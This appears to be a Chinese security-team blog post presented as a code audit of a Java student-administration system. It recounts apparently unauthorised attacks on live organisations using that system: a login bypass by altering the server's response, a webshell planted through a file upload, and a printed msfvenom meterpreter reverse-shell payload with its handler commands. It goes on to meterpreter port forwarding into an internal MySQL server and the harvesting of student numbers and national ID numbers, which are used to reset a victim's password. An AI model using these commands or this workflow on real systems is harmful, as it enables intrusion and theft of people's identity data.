代码审计 | 曲折的某java教务系统代码审计

这是F12sec的第63篇原创

申明:本次测试只作为学习用处,请勿未授权进行渗透测试,切勿用于其它用途!

ps:感谢北神,小丑师傅给的代码

本文由团队师傅Challenger投稿,转载请标明来源。

1.审计开始

1.为struts框架

查看web.xml中<filter-mapping>的<url-pattern>来确定拦截规则,当是.action时所有以.action为结尾的请求都会被struts处理拦截,/test/.action则只有test目录下的请求会被拦截。

初步审计无需登录或者可以绕过登录的洞

再看struts.xml看对应.action后端处理在那,看到设置了包扫描,所以.action后端处理都在dckj.business下

再看回web.xml看一下全局filter等filter过滤器,对应Java文件在dckj.core.base.EntssGlobalFilter,因为审的是编译后的源码以前com.web.servlet.uploadServlet

对应classes/com/web/servlet/uploadServlet.class

全局过滤,大概看了,就判断cookie的处理和白名单ip的处理,还有开放的静态路径

CAS单点登录认证:

https://blog.csdn.net/qq_41258204/article/details/84036875,这里可以直接访问服务器不被重定向回认证服务器,不太懂

登录通过判断sql登录成功注入java bean对象然后通过监听器绑定对象来确认身份

1.HttpSessionBindingListener 这个监听器,可以让javaBean对象,感知它被绑定到session中或从session中移除。 2.HttpSessionActivationListener 这个监听器,可以让javaBean感知,被钝化或活化。 钝化—>将session中的javaBean保存到文件中. 活化—>从文件中将javaBean直接获取。也就是说我们想通过改返回值”status”: “y”绕过认证不太可能了

只能看看有啥可以未授权访问的功能,看白名单,有个文件下载,看上去可以,但实践不行。

本地debug 可以穿目录下载文件 ok 实际测试Fuzz一波不行0.0,放弃

因为没有啥未授权的洞,只能搞账号,本地搭起环境麻烦审出来,也得有账号进实际的才有意思,而登录有验证码,如果训练识别验证码爆破很麻烦,而且效率低靠运气!放弃…..但找回密码,

只 需要学号+身份证,后返回随机密码,无需电话验证还是有希望

打使用该系统的目标来获取学号和身份证

谷歌+社工库没找到

直接打使用该系统的目标,通过漏洞获取账号+身份证 或者直接密码

这里有3个有效目标

挑第一个目标,企业查查确定资产,子域名……快速一波没有洞,打微信小程序也没洞,反编译小程序麻烦最后再试

goby扫端口重定向的域名的站,发现可管理员后台登录

为ThinkPhp的站,TP的站常规工具打一波payload,无效,爆破无效,登录发包改返回包0改1

直接跳转到这,直接可以文件上传.

真是好家伙!!任意文件上传,直接送shell来了。

目的拿学号+身份证 或者直接密码,翻数据库配置文件

扫端口未开放3306,只能

端口转发出来

为了上传下载文件稳定性,这里用 msf进行(reGeorg 可能环境原因连不上)

生成马

代码语言:javascript
复制
msfvenom -p linux/x64/meterpreter/reverse_tcp lhost=服务器IP lport=667 -f elf > msf_667

msfconsole上监听

代码语言:javascript
复制
use exploit/multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set lhost 0.0.0.0
set lport 667
run

把生成的马上传上webshell,然后运行

代码语言:javascript
复制
chmod +x /tmp/msf_667
/tmp/msf_667

在反弹回来的meterpreter上进行端口转发

代码语言:javascript
复制
portfwd add -l 670 -p 3306 -r 127.0.0.1

但站库分离,mysql不在这台机,淦卡住了,想其它代理,但可以直接将转发地址改为mysql服务器地址,

127.0.0.1改mysql地址 portfwd add -l 671 -p 3306 -r 201.x.x.1

成功转发,msf转发感谢TARI师兄的教导

成功连接,只有学号和电话,密码加盐了

在另外的数据库翻到超级管理员的密码这里不加盐但,登进去没啥可以获取学生身份证的功能,废了

在用户登录为另外的网站,输入账号为手机号,密码随手123456 登录成功返回身份证 NB 学号和身份证有了

有了 学号和身份证,回到要代码审计的系统去重置密码,重置他会返回随机密码:

成功登录。终于可以好好审计了

再次黑白盒结合审计:(有待更新)

才测一下子文件上传就崩了或者关网站了…,没法访问了淦 ,有白名单无法绕过,因为他会重命名00截断对文件名无效,但patn参数直接拼接可控,该系统用jdk7,可以尝试00截断,但实际path后有/不知可否截断

受空字节截断影响的JDK版本范围:JDK<1.7.40,单是JDK7于2011年07月28日发布至2013年09月10日发表Java SE 7 Update 40这两年多期间受影响的就有16个版本,值得注意的是JDK1.6虽然JDK7修复之后发布了数十个版本,但是并没有任何一个版本修复过这个问题,而JDK8发布时间在JDK7修复以后所以并不受此漏洞影响。